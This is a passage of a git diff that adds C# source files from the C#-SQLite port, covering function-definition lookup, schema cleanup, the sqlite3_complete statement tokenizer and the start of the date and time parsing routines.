During the search for the best function definition, this procedure + ** is called to test how well the function passed as the first argument + ** matches the request for a function with nArg arguments in a system + ** that uses encoding enc. The value returned indicates how well the + ** request is matched. A higher value indicates a better match. + ** + ** The returned value is always between 0 and 6, as follows: + ** + ** 0: Not a match, or if nArg<0 and the function is has no implementation. + ** 1: A variable arguments function that prefers UTF-8 when a UTF-16 + ** encoding is requested, or vice versa. + ** 2: A variable arguments function that uses UTF-16BE when UTF-16LE is + ** requested, or vice versa. + ** 3: A variable arguments function using the same text encoding. + ** 4: A function with the exact number of arguments requested that + ** prefers UTF-8 when a UTF-16 encoding is requested, or vice versa. + ** 5: A function with the exact number of arguments requested that + ** prefers UTF-16LE when UTF-16BE is requested, or vice versa. + ** 6: An exact match. + ** + */ + static int matchQuality( FuncDef p, int nArg, int enc ) + { + int match = 0; + if ( p.nArg == -1 || p.nArg == nArg + || ( nArg == -1 && ( p.xFunc != null || p.xStep != null ) ) + ) + { + match = 1; + if ( p.nArg == nArg || nArg == -1 ) + { + match = 4; + } + if ( enc == p.iPrefEnc ) + { + match += 2; + } + else if ( ( enc == SQLITE_UTF16LE && p.iPrefEnc == SQLITE_UTF16BE ) || + ( enc == SQLITE_UTF16BE && p.iPrefEnc == SQLITE_UTF16LE ) ) + { + match += 1; + } + } + return match; + } + + /* + ** Search a FuncDefHash for a function with the given name. Return + ** a pointer to the matching FuncDef if found, or 0 if there is no match. + */ + static FuncDef functionSearch( + FuncDefHash pHash, /* Hash table to search */ + int h, /* Hash of the name */ + string zFunc, /* Name of function */ + int nFunc /* Number of bytes in zFunc */ + ) + { + FuncDef p; + for ( p = pHash.a[h] ; p != null ; p = p.pHash ) + { + if ( sqlite3StrNICmp( p.zName, zFunc, nFunc ) == 0 && p.zName.Length == nFunc ) + { + return p; + } + } + return null; + } + + /* + ** Insert a new FuncDef into a FuncDefHash hash table. + */ + static void sqlite3FuncDefInsert( + FuncDefHash pHash, /* The hash table into which to insert */ + FuncDef pDef /* The function definition to insert */ + ) + { + FuncDef pOther; + int nName = sqlite3Strlen30( pDef.zName ); + u8 c1 = (u8)pDef.zName[0]; + int h = ( sqlite3UpperToLower[c1] + nName ) % ArraySize( pHash.a ); + pOther = functionSearch( pHash, h, pDef.zName, nName ); + if ( pOther != null ) + { + Debug.Assert( pOther != pDef && pOther.pNext != pDef ); + pDef.pNext = pOther.pNext; + pOther.pNext = pDef; + } + else + { + pDef.pNext = null; + pDef.pHash = pHash.a[h]; + pHash.a[h] = pDef; + } + } + + /* + ** Locate a user function given a name, a number of arguments and a flag + ** indicating whether the function prefers UTF-16 over UTF-8. Return a + ** pointer to the FuncDef structure that defines that function, or return + ** NULL if the function does not exist. + ** + ** If the createFlag argument is true, then a new (blank) FuncDef + ** structure is created and liked into the "db" structure if a + ** no matching function previously existed. When createFlag is true + ** and the nArg parameter is -1, then only a function that accepts + ** any number of arguments will be returned. + ** + ** If createFlag is false and nArg is -1, then the first valid + ** function found is returned. A function is valid if either xFunc + ** or xStep is non-zero. + ** + ** If createFlag is false, then a function with the required name and + ** number of arguments may be returned even if the eTextRep flag does not + ** match that requested. + */ + + static FuncDef sqlite3FindFunction( + sqlite3 db, /* An open database */ + string zName, /* Name of the function. Not null-terminated */ + int nName, /* Number of characters in the name */ + int nArg, /* Number of arguments. -1 means any number */ + u8 enc, /* Preferred text encoding */ + u8 createFlag /* Create new entry if true and does not otherwise exist */ + ) + { + FuncDef p; /* Iterator variable */ + FuncDef pBest = null; /* Best match found so far */ + int bestScore = 0; + int h; /* Hash value */ + + Debug.Assert( enc == SQLITE_UTF8 || enc == SQLITE_UTF16LE || enc == SQLITE_UTF16BE ); + h = ( sqlite3UpperToLower[(u8)zName[0]] + nName ) % ArraySize( db.aFunc.a ); + + + /* First search for a match amongst the application-defined functions. + */ + p = functionSearch( db.aFunc, h, zName, nName ); + while ( p != null ) + { + int score = matchQuality( p, nArg, enc ); + if ( score > bestScore ) + { + pBest = p; + bestScore = score; + + } + p = p.pNext; + } + + + /* If no match is found, search the built-in functions. + ** + ** Except, if createFlag is true, that means that we are trying to + ** install a new function. Whatever FuncDef structure is returned will + ** have fields overwritten with new information appropriate for the + ** new function. But the FuncDefs for built-in functions are read-only. + ** So we must not search for built-ins when creating a new function. + */ + if ( 0 == createFlag && pBest == null ) + { +#if SQLITE_OMIT_WSD +FuncDefHash pHash = GLOBAL( FuncDefHash, sqlite3GlobalFunctions ); +#else + FuncDefHash pHash = sqlite3GlobalFunctions; +#endif + p = functionSearch( pHash, h, zName, nName ); + while ( p != null ) + { + int score = matchQuality( p, nArg, enc ); + if ( score > bestScore ) + { + pBest = p; + bestScore = score; + } + p = p.pNext; + } + } + + /* If the createFlag parameter is true and the search did not reveal an + ** exact match for the name, number of arguments and encoding, then add a + ** new entry to the hash table and return it. + */ + if ( createFlag != 0 && ( bestScore < 6 || pBest.nArg != nArg ) && + ( pBest = new FuncDef() ) != null ) + { //sqlite3DbMallocZero(db, sizeof(*pBest)+nName+1))!=0 ){ + //pBest.zName = (char *)&pBest[1]; + pBest.nArg = (i16)nArg; + pBest.iPrefEnc = enc; + pBest.zName = zName; //memcpy(pBest.zName, zName, nName); + //pBest.zName[nName] = 0; + sqlite3FuncDefInsert( db.aFunc, pBest ); + } + + if ( pBest != null && ( pBest.xStep != null || pBest.xFunc != null || createFlag != 0 ) ) + { + return pBest; + } + return null; + } + + /* + ** Free all resources held by the schema structure. The void* argument points + ** at a Schema struct. This function does not call //sqlite3DbFree(db, ) on the + ** pointer itself, it just cleans up subsiduary resources (i.e. the contents + ** of the schema hash tables). + ** + ** The Schema.cache_size variable is not cleared. + */ + static void sqlite3SchemaFree( Schema p ) + { + Hash temp1; + Hash temp2; + HashElem pElem; + Schema pSchema = p; + + temp1 = pSchema.tblHash; + temp2 = pSchema.trigHash; + sqlite3HashInit( pSchema.trigHash ); + sqlite3HashClear( pSchema.idxHash ); + for ( pElem = sqliteHashFirst( temp2 ) ; pElem != null ; pElem = sqliteHashNext( pElem ) ) + { + Trigger pTrigger = (Trigger)sqliteHashData( pElem ); + sqlite3DeleteTrigger( null, ref pTrigger ); + } + sqlite3HashClear( temp2 ); + sqlite3HashInit( pSchema.trigHash ); + for ( pElem = temp1.first ; pElem != null ; pElem = pElem.next )//sqliteHashFirst(&temp1); pElem; pElem = sqliteHashNext(pElem)) + { + Table pTab = (Table)pElem.data; //sqliteHashData(pElem); + Debug.Assert( pTab.dbMem == null ); + sqlite3DeleteTable( ref pTab ); + } + sqlite3HashClear( temp1 ); + pSchema.pSeqTab = null; + pSchema.flags = (u16)( pSchema.flags & ~DB_SchemaLoaded ); + } + + /* + ** Find and return the schema associated with a BTree. Create + ** a new one if necessary. + */ + static Schema sqlite3SchemaGet( sqlite3 db, Btree pBt ) + { + Schema p; + if ( pBt != null ) + { + p = sqlite3BtreeSchema( pBt, -1, (dxFreeSchema)sqlite3SchemaFree );//Schema.Length, sqlite3SchemaFree); + } + else + { + p = new Schema(); // (Schema*)sqlite3MallocZero(Schema).Length; + } + if ( p == null ) + { +//// db.mallocFailed = 1; + } + else if ( 0 == p.file_format ) + { + sqlite3HashInit( p.tblHash ); + sqlite3HashInit( p.idxHash ); + sqlite3HashInit( p.trigHash ); + p.enc = SQLITE_UTF8; + } + return p; + } + } +} diff --git a/SQLite/src/complete_c.cs b/SQLite/src/complete_c.cs new file mode 100644 index 0000000..d33e611 --- /dev/null +++ b/SQLite/src/complete_c.cs @@ -0,0 +1,334 @@ +using System.Diagnostics; + +namespace CS_SQLite3 +{ + + using u8 = System.Byte; + + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** An tokenizer for SQL + ** + ** This file contains C code that implements the sqlite3_complete() API. + ** This code used to be part of the tokenizer.c source file. But by + ** separating it out, the code will be automatically omitted from + ** static links that do not use it. + ** + ** $Id: complete.c,v 1.8 2009/04/28 04:46:42 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" +#if !SQLITE_OMIT_COMPLETE + + /* +** This is defined in tokenize.c. We just have to import the definition. +*/ +#if !SQLITE_AMALGAMATION +#if SQLITE_ASCII + //extern const char sqlite3IsAsciiIdChar[]; + //#define IdChar(C) (((c=C)&0x80)!=0 || (c>0x1f && sqlite3IsAsciiIdChar[c-0x20])) + static bool IdChar( u8 C ) { u8 c; return ( ( c = C ) & 0x80 ) != 0 || ( c > 0x1f && sqlite3IsAsciiIdChar[c - 0x20] ); } +#endif +#if SQLITE_EBCDIC +//extern const char sqlite3IsEbcdicIdChar[]; +//#define IdChar(C) (((c=C)>=0x42 && sqlite3IsEbcdicIdChar[c-0x40])) +#endif +#endif // * SQLITE_AMALGAMATION */ + + + /* +** Token types used by the sqlite3_complete() routine. See the header +** comments on that procedure for additional information. +*/ + const int tkSEMI = 0; + const int tkWS = 1; + const int tkOTHER = 2; + const int tkEXPLAIN = 3; + const int tkCREATE = 4; + const int tkTEMP = 5; + const int tkTRIGGER = 6; + const int tkEND = 7; + + /* + ** Return TRUE if the given SQL string ends in a semicolon. + ** + ** Special handling is require for CREATE TRIGGER statements. + ** Whenever the CREATE TRIGGER keywords are seen, the statement + ** must end with ";END;". + ** + ** This implementation uses a state machine with 7 states: + ** + ** (0) START At the beginning or end of an SQL statement. This routine + ** returns 1 if it ends in the START state and 0 if it ends + ** in any other state. + ** + ** (1) NORMAL We are in the middle of statement which ends with a single + ** semicolon. + ** + ** (2) EXPLAIN The keyword EXPLAIN has been seen at the beginning of + ** a statement. + ** + ** (3) CREATE The keyword CREATE has been seen at the beginning of a + ** statement, possibly preceeded by EXPLAIN and/or followed by + ** TEMP or TEMPORARY + ** + ** (4) TRIGGER We are in the middle of a trigger definition that must be + ** ended by a semicolon, the keyword END, and another semicolon. + ** + ** (5) SEMI We've seen the first semicolon in the ";END;" that occurs at + ** the end of a trigger definition. + ** + ** (6) END We've seen the ";END" of the ";END;" that occurs at the end + ** of a trigger difinition. + ** + ** Transitions between states above are determined by tokens extracted + ** from the input. The following tokens are significant: + ** + ** (0) tkSEMI A semicolon. + ** (1) tkWS Whitespace + ** (2) tkOTHER Any other SQL token. + ** (3) tkEXPLAIN The "explain" keyword. + ** (4) tkCREATE The "create" keyword. + ** (5) tkTEMP The "temp" or "temporary" keyword. + ** (6) tkTRIGGER The "trigger" keyword. + ** (7) tkEND The "end" keyword. + ** + ** Whitespace never causes a state transition and is always ignored. + ** + ** If we compile with SQLITE_OMIT_TRIGGER, all of the computation needed + ** to recognize the end of a trigger can be omitted. All we have to do + ** is look for a semicolon that is not part of an string or comment. + */ + public static int sqlite3_complete( string zSql ) + { + int state = 0; /* Current state, using numbers defined in header comment */ + int token; /* Value of the next token */ + +#if !SQLITE_OMIT_TRIGGER + /* A complex statement machine used to detect the end of a CREATE TRIGGER +** statement. This is the normal case. +*/ + u8[][] trans = new u8[][] { +/* Token: */ +/* State: ** SEMI WS OTHER EXPLAIN CREATE TEMP TRIGGER END */ +/* 0 START: */ new u8[] { 0, 0, 1, 2, 3, 1, 1, 1, }, +/* 1 NORMAL: */ new u8[]{ 0, 1, 1, 1, 1, 1, 1, 1, }, +/* 2 EXPLAIN: */ new u8[]{ 0, 2, 2, 1, 3, 1, 1, 1, }, +/* 3 CREATE: */ new u8[]{ 0, 3, 1, 1, 1, 3, 4, 1, }, +/* 4 TRIGGER: */ new u8[]{ 5, 4, 4, 4, 4, 4, 4, 4, }, +/* 5 SEMI: */ new u8[]{ 5, 5, 4, 4, 4, 4, 4, 6, }, +/* 6 END: */ new u8[]{ 0, 6, 4, 4, 4, 4, 4, 4, }, +}; +#else +/* If triggers are not suppored by this compile then the statement machine +** used to detect the end of a statement is much simplier +*/ +static const u8 trans[2][3] = { +/* Token: */ +/* State: ** SEMI WS OTHER */ +/* 0 START: */ { 0, 0, 1, }, +/* 1 NORMAL: */ { 0, 1, 1, }, +}; +#endif // * SQLITE_OMIT_TRIGGER */ + + int zIdx = 0; + while ( zIdx < zSql.Length ) + { + switch ( zSql[zIdx] ) + { + case ';': + { /* A semicolon */ + token = tkSEMI; + break; + } + case ' ': + case '\r': + case '\t': + case '\n': + case '\f': + { /* White space is ignored */ + token = tkWS; + break; + } + case '/': + { /* C-style comments */ + if ( zSql[zIdx + 1] != '*' ) + { + token = tkOTHER; + break; + } + zIdx += 2; + while ( zIdx < zSql.Length && zSql[zIdx] != '*' || zIdx < zSql.Length - 1 && zSql[zIdx + 1] != '/' ) { zIdx++; } + if ( zIdx == zSql.Length ) return 0; + zIdx++; + token = tkWS; + break; + } + case '-': + { /* SQL-style comments from "--" to end of line */ + if ( zSql[zIdx + 1] != '-' ) + { + token = tkOTHER; + break; + } + while ( zIdx < zSql.Length && zSql[zIdx] != '\n' ) { zIdx++; } + if ( zIdx == zSql.Length ) return state == 0 ? 1 : 0; + token = tkWS; + break; + } + case '[': + { /* Microsoft-style identifiers in [...] */ + zIdx++; + while ( zIdx < zSql.Length && zSql[zIdx] != ']' ) { zIdx++; } + if ( zIdx == zSql.Length ) return 0; + token = tkOTHER; + break; + } + case '`': /* Grave-accent quoted symbols used by MySQL */ + case '"': /* single- and double-quoted strings */ + case '\'': + { + int c = zSql[zIdx]; + zIdx++; + while ( zIdx < zSql.Length && zSql[zIdx] != c ) { zIdx++; } + if ( zIdx == zSql.Length ) return 0; + token = tkOTHER; + break; + } + default: + { + int c; + if ( IdChar( (u8)zSql[zIdx] ) ) + { + /* Keywords and unquoted identifiers */ + int nId; + for ( nId = 1 ; ( zIdx + nId ) < zSql.Length && IdChar( (u8)zSql[zIdx + nId] ) ; nId++ ) { } +#if SQLITE_OMIT_TRIGGER +token = tkOTHER; +#else + switch ( zSql[zIdx] ) + { + case 'c': + case 'C': + { + if ( nId == 6 && sqlite3StrNICmp( zSql, zIdx, "create", 6 ) == 0 ) + { + token = tkCREATE; + } + else + { + token = tkOTHER; + } + break; + } + case 't': + case 'T': + { + if ( nId == 7 && sqlite3StrNICmp( zSql, zIdx, "trigger", 7 ) == 0 ) + { + token = tkTRIGGER; + } + else if ( nId == 4 && sqlite3StrNICmp( zSql, zIdx, "temp", 4 ) == 0 ) + { + token = tkTEMP; + } + else if ( nId == 9 && sqlite3StrNICmp( zSql, zIdx, "temporary", 9 ) == 0 ) + { + token = tkTEMP; + } + else + { + token = tkOTHER; + } + break; + } + case 'e': + case 'E': + { + if ( nId == 3 && sqlite3StrNICmp( zSql, zIdx, "end", 3 ) == 0 ) + { + token = tkEND; + } + else +#if ! SQLITE_OMIT_EXPLAIN + if ( nId == 7 && sqlite3StrNICmp( zSql, zIdx, "explain", 7 ) == 0 ) + { + token = tkEXPLAIN; + } + else +#endif + { + token = tkOTHER; + } + break; + } + default: + { + token = tkOTHER; + break; + } + } +#endif // * SQLITE_OMIT_TRIGGER */ + zIdx += nId - 1; + } + else + { + /* Operators and special symbols */ + token = tkOTHER; + } + break; + } + } + state = trans[state][token]; + zIdx++; + } + return ( state == 0 ) ? 1 : 0; + } + +#if ! SQLITE_OMIT_UTF16 +/* +** This routine is the same as the sqlite3_complete() routine described +** above, except that the parameter is required to be UTF-16 encoded, not +** UTF-8. +*/ +int sqlite3_complete16(const void *zSql){ +sqlite3_value pVal; +char const *zSql8; +int rc = SQLITE_NOMEM; + +#if !SQLITE_OMIT_AUTOINIT +rc = sqlite3_initialize(); +if( rc !=0) return rc; +#endif +pVal = sqlite3ValueNew(0); +sqlite3ValueSetStr(pVal, -1, zSql, SQLITE_UTF16NATIVE, SQLITE_STATIC); +zSql8 = sqlite3ValueText(pVal, SQLITE_UTF8); +if( zSql8 ){ +rc = sqlite3_complete(zSql8); +}else{ +rc = SQLITE_NOMEM; +} +sqlite3ValueFree(pVal); +return sqlite3ApiExit(0, rc); +} +#endif // * SQLITE_OMIT_UTF16 */ +#endif // * SQLITE_OMIT_COMPLETE */ + } +} diff --git a/SQLite/src/date_c.cs b/SQLite/src/date_c.cs new file mode 100644 index 0000000..cf48aa5 --- /dev/null +++ b/SQLite/src/date_c.cs @@ -0,0 +1,1318 @@ +using System; +using System.Diagnostics; +using System.Text; + +using time_t = System.Int64; +using sqlite3_int64 = System.Int64; +using i64 = System.Int64; +using u64 = System.UInt64; + +namespace CS_SQLite3 +{ + using sqlite3_value = CSSQLite.Mem; + + public partial class CSSQLite + { + /* + ** 2003 October 31 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains the C functions that implement date and time + ** functions for SQLite. + ** + ** There is only one exported symbol in this file - the function + ** sqlite3RegisterDateTimeFunctions() found at the bottom of the file. + ** All other code has file scope. + ** + ** $Id: date.c,v 1.107 2009/05/03 20:23:53 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + ** + ** SQLite processes all times and dates as Julian Day numbers. The + ** dates and times are stored as the number of days since noon + ** in Greenwich on November 24, 4714 B.C. according to the Gregorian + ** calendar system. + ** + ** 1970-01-01 00:00:00 is JD 2440587.5 + ** 2000-01-01 00:00:00 is JD 2451544.5 + ** + ** This implemention requires years to be expressed as a 4-digit number + ** which means that only dates between 0000-01-01 and 9999-12-31 can + ** be represented, even though julian day numbers allow a much wider + ** range of dates. + ** + ** The Gregorian calendar system is used for all dates and times, + ** even those that predate the Gregorian calendar. Historians usually + ** use the Julian calendar for dates prior to 1582-10-15 and for some + ** dates afterwards, depending on locale. Beware of this difference. + ** + ** The conversion algorithms are implemented based on descriptions + ** in the following text: + ** + ** Jean Meeus + ** Astronomical Algorithms, 2nd Edition, 1998 + ** ISBM 0-943396-61-1 + ** Willmann-Bell, Inc + ** Richmond, Virginia (USA) + */ + //#include "sqliteInt.h" + //#include + //#include + //#include + +#if !SQLITE_OMIT_DATETIME_FUNCS + + /* +** On recent Windows platforms, the localtime_s() function is available +** as part of the "Secure CRT". It is essentially equivalent to +** localtime_r() available under most POSIX platforms, except that the +** order of the parameters is reversed. +** +** See http://msdn.microsoft.com/en-us/library/a442x3ye(VS.80).aspx. +** +** If the user has not indicated to use localtime_r() or localtime_s() +** already, check for an MSVC build environment that provides +** localtime_s(). +*/ +#if !(HAVE_LOCALTIME_R) && !(HAVE_LOCALTIME_S) && (_MSC_VER) && (_CRT_INSECURE_DEPRECATE) +#define HAVE_LOCALTIME_S +#endif + + /* +** A structure for holding a single date and time. +*/ + //typedef struct DateTime DateTime; + public class DateTime + { + public sqlite3_int64 iJD; /* The julian day number times 86400000 */ + public int Y, M, D; /* Year, month, and day */ + public int h, m; /* Hour and minutes */ + public int tz; /* Timezone offset in minutes */ + public double s; /* Seconds */ + public byte validYMD; /* True (1) if Y,M,D are valid */ + public byte validHMS; /* True (1) if h,m,s are valid */ + public byte validJD; /* True (1) if iJD is valid */ + public byte validTZ; /* True (1) if tz is valid */ + + public void CopyTo( DateTime ct ) + { + ct.iJD = iJD; + ct.Y = Y; + ct.M = M; + ct.D = D; + ct.h = h; + ct.m = m; + ct.tz = tz; + ct.s = s; + ct.validYMD = validYMD; + ct.validHMS = validHMS; + ct.validJD = validJD; + ct.validTZ = validJD; + } + }; + + + /* + ** Convert zDate into one or more integers. Additional arguments + ** come in groups of 5 as follows: + ** + ** N number of digits in the integer + ** min minimum allowed value of the integer + ** max maximum allowed value of the integer + ** nextC first character after the integer + ** pVal where to write the integers value. + ** + ** Conversions continue until one with nextC==0 is encountered. + ** The function returns the number of successful conversions. + */ + static int getDigits( string zDate, int N0, int min0, int max0, char nextC0, ref int pVal0, int N1, int min1, int max1, char nextC1, ref int pVal1 ) + { + int c0 = getDigits( zDate + '\0', N0, min0, max0, nextC0, ref pVal0 ); + return c0 == 0 ? 0 : c0 + getDigits( zDate.Substring( zDate.IndexOf( nextC0 ) + 1 ) + '\0', N1, min1, max1, nextC1, ref pVal1 ); + } + static int getDigits( string zDate, int N0, int min0, int max0, char nextC0, ref int pVal0, int N1, int min1, int max1, char nextC1, ref int pVal1, int N2, int min2, int max2, char nextC2, ref int pVal2 ) + { + int c0 = getDigits( zDate + '\0', N0, min0, max0, nextC0, ref pVal0 ); + if ( c0 == 0 ) return 0; + string zDate1 = zDate.Substring( zDate.IndexOf( nextC0 ) + 1 ); + int c1 = getDigits( zDate1 + '\0', N1, min1, max1, nextC1, ref pVal1 ); + if ( c1 == 0 ) return c0; + return c0 + c1 + getDigits( zDate1.Substring( zDate1.IndexOf( nextC1 ) + 1 ) + '\0', N2, min2, max2, nextC2, ref pVal2 ); + } + static int getDigits( string zDate, int N, int min, int max, char nextC, ref int pVal ) + { + //va_list ap; + int val; + //int N; + //int min; + //int max; + //char nextC; + //int pVal; + int cnt = 0; + //va_start( ap, zDate ); + int zIndex = 0; + //do + //{ + //N = (int)va_arg( ap, "int" ); + //min = (int)va_arg( ap, "int" ); + //max = (int)va_arg( ap, "int" ); + //nextC = (char)va_arg( ap, "char" ); + //pVal = (int)va_arg( ap, "int" ); + val = 0; + while ( N-- != 0 ) + { + if ( !sqlite3Isdigit( zDate[zIndex] ) ) + { + goto end_getDigits; + } + val = val * 10 + zDate[zIndex] - '0'; + zIndex++; + } + if ( val < min || val > max || zIndex < zDate.Length && ( nextC != 0 && nextC != zDate[zIndex] ) ) + { + goto end_getDigits; + } + pVal = val; + zIndex++; + cnt++; +//} while ( nextC != 0 && zIndex < zDate.Length ); +end_getDigits: + //va_end( ap ); + return cnt; + } + + /* + ** Read text from z[] and convert into a floating point number. Return + ** the number of digits converted. + */ + //#define getValue sqlite3AtoF + + /* + ** Parse a timezone extension on the end of a date-time. + ** The extension is of the form: + ** + ** (+/-)HH:MM + ** + ** + ** Or the "zulu" notation: + ** + ** Z + ** + ** If the parse is successful, write the number of minutes + ** of change in p.tz and return 0. If a parser error occurs, + ** return non-zero. + ** + ** A missing specifier is not considered an error. + */ + static int parseTimezone( string zDate, DateTime p ) + { + int sgn = 0; + int nHr = 0; int nMn = 0; + char c; + zDate = zDate.Trim();// while ( sqlite3Isspace( *(u8*)zDate ) ) { zDate++; } + p.tz = 0; + c = zDate.Length == 0 ? '\0' : zDate[0]; + if ( c == '-' ) + { + sgn = -1; + } + else if ( c == '+' ) + { + sgn = +1; + } + else if ( c == 'Z' || c == 'z' ) + { + zDate = zDate.Substring( 1 ).Trim();//zDate++; + goto zulu_time; + } + else + { + return c != '\0' ? 1 : 0; + } + //zDate++; + if ( getDigits( zDate.Substring( 1 ), 2, 0, 14, ':', ref nHr, 2, 0, 59, '\0', ref nMn ) != 2 ) + { + return 1; + } + //zDate += 5; + p.tz = sgn * ( nMn + nHr * 60 ); + if ( zDate.Length == 6 ) zDate = ""; + else if ( zDate.Length > 6 ) zDate = zDate.Substring( 6 ).Trim();// while ( sqlite3Isspace( *(u8*)zDate ) ) { zDate++; } +zulu_time: + return zDate != "" ? 1 : 0; + } + + /* + ** Parse times of the form HH:MM or HH:MM:SS or HH:MM:SS.FFFF. + ** The HH, MM, and SS must each be exactly 2 digits. The + ** fractional seconds FFFF can be one or more digits. + ** + ** Return 1 if there is a parsing error and 0 on success. + */ + static int parseHhMmSs( string zDate, DateTime p ) + { + int h = 0; int m = 0; int s = 0; + double ms = 0.0; + if ( getDigits( zDate, 2, 0, 24, ':', ref h, 2, 0, 59, '\0', ref m ) != 2 ) + { + return 1; + } + int zIndex = 5;// zDate += 5; + if ( zIndex < zDate.Length && zDate[zIndex] == ':' ) + { + zIndex++;// zDate++; + if ( getDigits( zDate.Substring( zIndex ), 2, 0, 59, '\0', ref s ) != 1 ) + { + return 1; + } + zIndex += 2;// zDate += 2; + if ( zIndex + 1 < zDate.Length && zDate[zIndex] == '.' && sqlite3Isdigit( zDate[zIndex + 1] ) ) + { + double rScale = 1.0; + zIndex++;// zDate++; + while ( zIndex < zDate.Length && sqlite3Isdigit( zDate[zIndex] ) + ) + { + ms = ms * 10.0 + zDate[zIndex] - '0'; + rScale *= 10.0; + zIndex++;//zDate++; + } + ms /= rScale; + } + } + else + { + s = 0; + } + p.validJD = 0; + p.validHMS = 1; + p.h = h; + p.m = m; + p.s = s + ms; + if ( zIndex < zDate.Length && parseTimezone( zDate.Substring( zIndex ), p ) != 0 ) return 1; + p.validTZ = (byte)( ( p.tz != 0 ) ? 1 : 0 ); + return 0; + } + + /* + ** Convert from YYYY-MM-DD HH:MM:SS to julian day. We always assume + ** that the YYYY-MM-DD is according to the Gregorian calendar. + ** + ** Reference: Meeus page 61 + */ + static void computeJD( DateTime p ) + { + int Y, M, D, A, B, X1, X2; + + if ( p.validJD != 0 ) return; + if ( p.validYMD != 0 ) + { + Y = p.Y; + M = p.M; + D = p.D; + } + else + { + Y = 2000; /* If no YMD specified, assume 2000-Jan-01 */ + M = 1; + D = 1; + } + if ( M <= 2 ) + { + Y--; + M += 12; + } + A = Y / 100; + B = 2 - A + ( A / 4 ); + X1 = (int)( 36525 * ( Y + 4716 ) / 100 ); + X2 = (int)( 306001 * ( M + 1 ) / 10000 ); + p.iJD = (long)( ( X1 + X2 + D + B - 1524.5 ) * 86400000 ); + p.validJD = 1; + if ( p.validHMS != 0 ) + { + p.iJD += (long)( p.h * 3600000 + p.m * 60000 + p.s * 1000 ); + if ( p.validTZ != 0 ) + { + p.iJD -= p.tz * 60000; + p.validYMD = 0; + p.validHMS = 0; + p.validTZ = 0; + } + } + } + + /* + ** Parse dates of the form + ** + ** YYYY-MM-DD HH:MM:SS.FFF + ** YYYY-MM-DD HH:MM:SS + ** YYYY-MM-DD HH:MM + ** YYYY-MM-DD + ** + ** Write the result into the DateTime structure and return 0 + ** on success and 1 if the input string is not a well-formed + ** date. + */ + static int parseYyyyMmDd( string zDate, DateTime p ) + { + int Y = 0; int M = 0; int D = 0; bool neg; + + int zIndex = 0; + if ( zDate[zIndex] == '-' ) + { + zIndex++;// zDate++; + neg = true; + } + else + { + neg = false; + } + if ( getDigits( zDate.Substring( zIndex ), 4, 0, 9999, '-', ref Y, 2, 1, 12, '-', ref M, 2, 1, 31, '\0', ref D ) != 3 ) + { + return 1; + } + zIndex += 10;// zDate += 10; + while ( zIndex < zDate.Length && ( sqlite3Isspace( zDate[zIndex] ) || 'T' == zDate[zIndex] ) ) { zIndex++; }//zDate++; } + if ( zIndex < zDate.Length && parseHhMmSs( zDate.Substring( zIndex ), p ) == 0 ) + { + /* We got the time */ + } + else if ( zIndex >= zDate.Length )// zDate[zIndex] == '\0') + { + p.validHMS = 0; + } + else + { + return 1; + } + p.validJD = 0; + p.validYMD = 1; + p.Y = neg ? -Y : Y; + p.M = M; + p.D = D; + if ( p.validTZ != 0 ) + { + computeJD( p ); + } + return 0; + } + + /* + ** Set the time to the current time reported by the VFS + */ + static void setDateTimeToCurrent( sqlite3_context context, DateTime p ) + { + double r = 0; + sqlite3 db = sqlite3_context_db_handle( context ); + sqlite3OsCurrentTime( db.pVfs, ref r ); + p.iJD = (sqlite3_int64)( r * 86400000.0 + 0.5 ); + p.validJD = 1; + } + + /* + ** Attempt to parse the given string into a Julian Day Number. Return + ** the number of errors. + ** + ** The following are acceptable forms for the input string: + ** + ** YYYY-MM-DD HH:MM:SS.FFF +/-HH:MM + ** DDDD.DD + ** now + ** + ** In the first form, the +/-HH:MM is always optional. The fractional + ** seconds extension (the ".FFF") is optional. The seconds portion + ** (":SS.FFF") is option. The year and date can be omitted as long + ** as there is a time string. The time string can be omitted as long + ** as there is a year and date. + */ + static int parseDateOrTime( + sqlite3_context context, + string zDate, + ref DateTime p + ) + { + int isRealNum = 0; /* Return from sqlite3IsNumber(). Not used */ + if ( parseYyyyMmDd( zDate, p ) == 0 ) + { + return 0; + } + else if ( parseHhMmSs( zDate, p ) == 0 ) + { + return 0; + } + else if ( sqlite3StrICmp( zDate, "now" ) == 0 ) + { + setDateTimeToCurrent( context, p ); + return 0; + } + else if ( sqlite3IsNumber( zDate, ref isRealNum, SQLITE_UTF8 ) != 0 ) + { + double r = 0; + sqlite3AtoF( zDate, ref r );// getValue( zDate, ref r ); + p.iJD = (sqlite3_int64)( r * 86400000.0 + 0.5 ); + p.validJD = 1; + return 0; + } + return 1; + } + + /* + ** Compute the Year, Month, and Day from the julian day number. + */ + static void computeYMD( DateTime p ) + { + int Z, A, B, C, D, E, X1; + if ( p.validYMD != 0 ) return; + if ( 0 == p.validJD ) + { + p.Y = 2000; + p.M = 1; + p.D = 1; + } + else + { + Z = (int)( ( p.iJD + 43200000 ) / 86400000 ); + A = (int)( ( Z - 1867216.25 ) / 36524.25 ); + A = Z + 1 + A - ( A / 4 ); + B = A + 1524; + C = (int)( ( B - 122.1 ) / 365.25 ); + D = (int)( ( 36525 * C ) / 100 ); + E = (int)( ( B - D ) / 30.6001 ); + X1 = (int)( 30.6001 * E ); + p.D = B - D - X1; + p.M = E < 14 ? E - 1 : E - 13; + p.Y = p.M > 2 ? C - 4716 : C - 4715; + } + p.validYMD = 1; + } + + /* + ** Compute the Hour, Minute, and Seconds from the julian day number. + */ + static void computeHMS( DateTime p ) + { + int s; + if ( p.validHMS != 0 ) return; + computeJD( p ); + s = (int)( ( p.iJD + 43200000 ) % 86400000 ); + p.s = s / 1000.0; + s = (int)p.s; + p.s -= s; + p.h = s / 3600; + s -= p.h * 3600; + p.m = s / 60; + p.s += s - p.m * 60; + p.validHMS = 1; + } + + 